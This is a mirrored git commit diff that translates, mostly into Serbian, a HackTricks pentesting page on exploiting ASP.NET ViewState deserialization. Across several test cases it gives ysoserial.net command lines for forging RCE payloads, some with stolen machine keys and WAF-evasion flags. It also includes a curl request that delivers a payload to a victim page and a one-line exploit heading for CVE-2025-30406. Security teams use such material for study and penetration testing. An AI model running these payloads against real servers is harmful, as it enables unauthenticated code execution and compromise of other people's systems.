mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
2d952da538
commit
0cce6abc96
@ -24,7 +24,7 @@ Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u AS
|
|||||||
1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
|
1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
|
||||||
2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
|
2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
|
||||||
3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
|
3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
|
||||||
4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
|
4. Za **verzije 4.5 i iznad**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
|
||||||
|
|
||||||
### Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
|
### Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
|
||||||
|
|
||||||
@ -40,13 +40,13 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||||||
```
|
```
|
||||||
### Test case 1.5 – Kao Test case 1, ali ViewState kolačić nije poslat od strane servera
|
### Test case 1.5 – Kao Test case 1, ali ViewState kolačić nije poslat od strane servera
|
||||||
|
|
||||||
Developers can **remove ViewState** from becoming part of an HTTP Request (korisnik neće primiti ovaj kolačić).\
|
Programeri mogu **ukloniti ViewState** iz HTTP zahteva (korisnik neće primiti ovaj kolačić).\
|
||||||
One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\
|
Može se pretpostaviti da ako **ViewState** **nije prisutan**, njihova implementacija je **sigurna** od bilo kakvih potencijalnih ranjivosti koje proizlaze iz deserializacije ViewState-a.\
|
||||||
However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
|
Međutim, to nije slučaj. Ako **dodamo ViewState parametar** u telo zahteva i pošaljemo naš serijalizovani payload kreiran pomoću ysoserial, i dalje ćemo moći da postignemo **izvršenje koda** kao što je prikazano u **Slučaju 1**.
|
||||||
|
|
||||||
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
|
### Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||||
|
|
||||||
In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file:
|
Da bismo **omogućili ViewState MAC** za **određenu stranicu**, potrebno je izvršiti sledeće izmene na određenom aspx fajlu:
|
||||||
```bash
|
```bash
|
||||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||||
```
|
```
|
||||||
@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
|||||||
|
|
||||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||||
```
|
```
|
||||||
U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar **ne morate** da **obezbedite** `--generator` parametar **već ove**:
|
U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar, **ne** morate **navesti** `--generator` parametar **već ove**:
|
||||||
```bash
|
```bash
|
||||||
--apppath="/" --path="/hello.aspx"
|
--apppath="/" --path="/hello.aspx"
|
||||||
```
|
```
|
||||||
@ -112,7 +112,7 @@ U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vredn
|
|||||||
|
|
||||||
**U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...**
|
**U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...**
|
||||||
|
|
||||||
**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.**
|
**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i ako je** **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.**
|
||||||
|
|
||||||
Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga fajlova, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
|
Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga fajlova, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
|
||||||
|
|
||||||
@ -159,8 +159,8 @@ Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva
|
|||||||
|
|
||||||
### Test Case 6 – ViewStateUserKeys se koristi
|
### Test Case 6 – ViewStateUserKeys se koristi
|
||||||
|
|
||||||
Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima se do sada razgovaralo, **payload neće biti obrađen od strane aplikacije**.\
|
Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima smo do sada razgovarali, **payload neće biti obrađen od strane aplikacije**.\
|
||||||
Treba da koristite još jedan parametar kako biste ispravno kreirali payload:
|
Potrebno je koristiti još jedan parametar kako bi se ispravno kreirao payload:
|
||||||
```bash
|
```bash
|
||||||
--viewstateuserkey="randomstringdefinedintheserver"
|
--viewstateuserkey="randomstringdefinedintheserver"
|
||||||
```
|
```
|
||||||
@ -200,21 +200,19 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
|||||||
```
|
```
|
||||||
Ova **primitive za eksfiltraciju ključeva** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" – CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene kod na serveru.
|
Ova **primitive za eksfiltraciju ključeva** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" – CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene kod na serveru.
|
||||||
|
|
||||||
## Scenariji stvarne eksploatacije 2024-2025 i hard-kodirani mašinski ključevi
|
## Scenariji stvarnog iskorišćavanja 2024-2025 i hard-kodirani mašinski ključevi
|
||||||
|
|
||||||
### Talas "javnih mašinskih ključeva" Microsoft-a (decembar 2024 – februar 2025)
|
### Talas "javnih mašinskih ključeva" koji je objavio Microsoft (decembar 2024 – februar 2025)
|
||||||
Microsoft Threat Intelligence je izvestio o masovnoj eksploataciji ASP.NET sajtova gde je *machineKey* prethodno bio otkriven na javnim izvorima (GitHub gists, blog postovi, paste sajtovi). Protivnici su enumerisali ove ključeve i generisali validne `__VIEWSTATE` gadgete sa novijim `ysoserial.net` 1.41 `--minify` i `--islegacy` flagovima kako bi izbegli WAF ograničenja dužine:
|
Microsoft Threat Intelligence je izvestio o masovnom iskorišćavanju ASP.NET sajtova gde je *machineKey* prethodno bio otkriven na javnim izvorima (GitHub gists, blog postovi, paste sajtovi). Protivnici su enumerisali ove ključeve i generisali validne `__VIEWSTATE` gadgete sa novijim `ysoserial.net` 1.41 `--minify` i `--islegacy` zastavicama kako bi izbegli WAF ograničenja dužine:
|
||||||
```bash
|
```bash
|
||||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||||
--generator=<VIEWSTATEGEN> --minify
|
--generator=<VIEWSTATEGEN> --minify
|
||||||
```
|
```
|
||||||
Rotiranje statičkih ključeva ili prelazak na *AutoGenerate* ključeve u Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) ublažava ovu klasu napada. {{#ref}}
|
Rotiranje statičkih ključeva ili prelazak na *AutoGenerate* ključeve u Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) ublažava ovu klasu napada.
|
||||||
|
|
||||||
{{#endref}}
|
### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-kodirani ključevi
|
||||||
|
|
||||||
### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded ključevi
|
|
||||||
Kudelski Security je otkrio da su više verzija CentreStack / Triofox isporučene sa identičnim `machineKey` vrednostima, omogućavajući neautentifikovanu daljinsku izvršavanje koda putem ViewState falsifikacije (CVE-2025-30406).
|
Kudelski Security je otkrio da su više verzija CentreStack / Triofox isporučene sa identičnim `machineKey` vrednostima, omogućavajući neautentifikovanu daljinsku izvršavanje koda putem ViewState falsifikacije (CVE-2025-30406).
|
||||||
|
|
||||||
Jednolinijski exploit:
|
Jednolinijski exploit:
|
||||||
|
Loading…
x
Reference in New Issue
Block a user